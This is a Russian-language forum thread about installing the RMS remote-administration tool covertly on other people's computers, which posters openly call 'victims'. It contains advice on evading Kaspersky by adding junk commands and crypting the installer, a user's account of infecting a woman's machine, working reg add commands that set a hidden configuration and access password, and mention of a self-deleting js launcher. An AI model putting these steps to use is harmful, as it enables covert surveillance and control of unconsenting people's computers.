Скрытый RMS [удаленное администрирование]

А нельзя ли поконкретнее?
nnmclub63,
set.reg можно перенести в батник. Используй reg add. А насчёт батника вставь в некотрых местах мусорные команды. Например echo blad-bla-bla.
А затем засунь батник сюда.

 

што имено? в гугле посмотри все команды батников

 

Зачем тут команды батников? Антивирус определяет по сигнатуре. Нужно просто методом тыка вставлять мусорные команды.

 

извените, про мусор понятно но про reg add можно по подробнее. Как его перенести в батник

 

перенеси все в батник
а перед всем етим добав reg add

 

TDI,
Ты шутишь? Если да, то я шутки не понял. Зачем ты обманываешь людей?
aigera,
Не слушай его. Он говорит неправильно. Я сам пробовал, увы не получилось.

 

Извените но еще вопрос reg можно криптанут???

 

Нет.

 

[+] reg add - добавление новой записи в реестр

Добавляет новый раздел или новую запись в реестр.
Синтаксис
reg add имя_раздела [/v имя_записи|/ve] [/t тип_данных] [/s разделитель] [/d значение] [/f]
Параметры
имя_раздела

Задает полный путь к разделу. Для удаленных компьютеров перед путем к разделу в формате \\имя_компьютера\путь_к_разделу вставляется имя компьютера. Если параметр имя_компьютера не задан, операция по умолчанию выполняется на локальном компьютере. Путь следует начинать с соответствующего поддерева. Допустимыми поддеревьями являются HKLM, HKCU, HKCR, HKU и HKCC.
/v имя_записи

Задает имя записи для добавления к заданному разделу.
/ve

Задает нулевое значение для записи, добавляемой в реестр.
/t тип_данных

Задает тип данных для значения записи. Параметр тип_данных может иметь одно из перечисленных ниже значений:
REG_SZ
REG_MULTI_SZ
REG_DWORD_BIG_ENDIAN
REG_DWORD
REG_BINARY
REG_DWORD_LITTLE_ENDIAN
REG_LINK
REG_FULL_RESOURCE_DESCRIPTOR
REG_EXPAND_SZ
/s разделитель

Задает символы для разделения копий данных. Используется при задании REG_MULTI_SZ в качестве типа данных и при размещении более одной записи в списке. Если разделитель не задан, то используется разделитель \0, заданный по умолчанию.
/d значение

Задает значение для новой записи реестра.
/f

Добавляет раздел или запись без запроса на подтверждение.
/?
Вывод справки в командной строке.
Примечания
С помощью данной операции нельзя добавлять поддеревья. Эта версия регистра не запрашивает подтверждения при добавлении нового раздела.

В следующей таблице представлены значения возврата для операции reg add.
Значение Описание
0 Успех
1 Сбой



Примеры
Далее приведены примеры использования команды reg add.
reg add \hklm\software\myco /v data /t reg_binary /d fe340ead reg add "hkcu\software\microsoft\winmine" /v Name3 /t reg_sz /d Anonymous reg add "hkcu\software\microsoft\winmine" /v Time3 /t reg_dword /d 5
[свернуть]

как я их обманиваю?

 

Парни срочно помогите, плиз. Очень прошу. Жертва очень нужна.
Вообщем, сделал так как написали выше, чтобы спрятать от Каспера. Всё получилось. За это кстати, огромное спасибо.
Скинул жертве, запустила. Всё ок проинсталировалось. Получил письмо на почту, но без IP адреса (пусто). НО это ладно я узнал его потом.
Вобщем, по ID не конектится (вообще) у себя было всё норм. По IP (у неё за натом), но мы из одной сети, как я понял значит можно так? Вот. По IP конектится, спрашивает пароль, ввожу пароль и БАЦ неподходит(( в чём дело не знаю.. на подключении написано, что она типо защищено. Уже не знаю что делать. Целый день проипался с этой..
Думаю, может дело в том, что я set.reg скинул в install.bat и потом криптанул. Может от крипта как-нить пароль сбился? Вообще может быть такое?
Вообщем, кто знает в чём может быть проблема огромная просьба отписать.
Заранее огрмнейшее спасибо
За грамматические ошибки, сори. Писал быстро.

Вот скрин:




Может тут что сбилось? Это я уже на своей машине посмотрел эту же сборку.

Блин я в ШОКЕ всё работало и тут не работает.. Закон подллости...
Проверил у себя ещё раз. По ID и IP конектится... пароль подходит.
А к ней нет. пароль не подходит. ((( и по ID не конектится. ((
В чём тогда может быть проблема?
Может файрволл какой встроенный блочит? Может вобще быть такое? Что до пасса доходит, а после - нет(((
Вообщем кто в курсе всех этих дел - плиз отпишитесь.
Лично я вообще никак не могу понять почему пасс не подходит.. у меня подходит, а там нет.. как так??
Сори за писанину, накипело. Не могу уже больше. Всё я замолчал.

 

мб в реестер не записало?
и по етому ты не мож по Ид зделать конект, ну и пасс не подходит

 

Т.е. получается, там нет админиских прав??
Всё может быть.. а это точно что если в реестр не занесёт такое будет?
И вообще при установке должны же быть какие ошибки?
У неё была только одна ошибка, но эта ошибка и у меня, в связи с удалением MPR. Больше ничего не было.
Странно, а как у неё вообще тогда установилось без админских прав???
Надеюсь, всё-таки, что были какие-то сбои, т.к. попробовал практически сразу - не получилось. И она сразу вышла.
Но я не думаю, что если сначала не получилось, то потом каким-то чудом получится.
А если IP ещё и меняется, то это дополнительный гемор. ((

Просто же так не может быть, что в реестр не записало.. должны же быть какие-то причины.
Например, блочит что-то со стороны. Кто-нить в курсе может ли это делать Каспер?
Что-то сторонее у неё врятле установлено. Хотя.. кто знает.

 

В реестр могло не записать, потому что TDI по незнанию нас обманывает, а у тебя подключается, потому что осталась запись в реестре, и она используется. Удали у себя запись в реестре и попробуй.
Я точно знаю, что TDI неправ.

 

Я перед тем как пробую каждый раз удаляю..
Всё работает. Проблема в чём-то другом.

 

vlader, квадратные скобки убери, естественно у тебя интерпретатор не понимает ветку реестра - формат нарушен.

 

Вот тебе рабочий пример, Запускать от администратора:

Код:

REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "FUSClientPath" /t REG_SZ /d "F:\Program Files\Remote Manipulator System - Server\rfusclient.exe"
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Options" /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403121614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c084869646553746f70090c497046696c7465725479706502021750726f7465637443616c6c6261636b53657474696e6773081550726f74656374496e6574496453657474696e6773080a496e7465726e657449640614532d44374542313631372d374446352d3433464211557365496e6574436f6e6e656374696f6e0913557365437573746f6d496e6574536572766572080f446f4e6f7443617074757265524450081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c65526567697374727908144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e6408064c6f6755736508055369644964061034303732362e36343234303031353035084c6963656e73657306c2524d532d462d31364436394431333439624634633965363532366232416137633830466531376269593253326459586c52664477776e49323369714f474c346f5868696f504d632b4b6434596a6a73754333626d496d5841594e5845594f563049334b4738645645554f446c6c56446d74395a415149424177645756554f62696b6e44416f454851494248414a6966474a7443514d4b4267454c4247747866465a4d44777852586b554f596e463855565a4644673466576c5572456a7063586c344f0000
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "CalendarRecordSettings" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003500300030003100300022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a00
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Pwd" /t REG_BINARY /d 52984192b63f9c4fc3a5b17ae83b6606

Кривоватая у тебя точность:crazy:

 

извените а зачем это все делать если 5.1бета версии он сам, без рег файла, можно обойтись

 

этот сборник надежнее

 

TDI спасибо за небольшое пояснение. Я не знал,что hex нужно писать сплошным текстом. А вообще у меня было почти тоже, только не работало, потому что hex я писал с пробелами.

 

Не сочтите за спам пожалуйста,но в соседней теме никто не отвечает,а вопрос может относится и к этой теме.
Как быть если у "жертвы" .js файлы по умолчанию открываются редактором,ведь чтобы сборка установилась сначала должен исполнится js скрипт который запускает сам инсталлятор и потом удаляется.Просто когда у меня js файлы автоматически открывались dreamweaver'ом то сборка не устанавливалась а при двойном щелчке просто открывался скрипт stop.js
Или я ошибаюсь?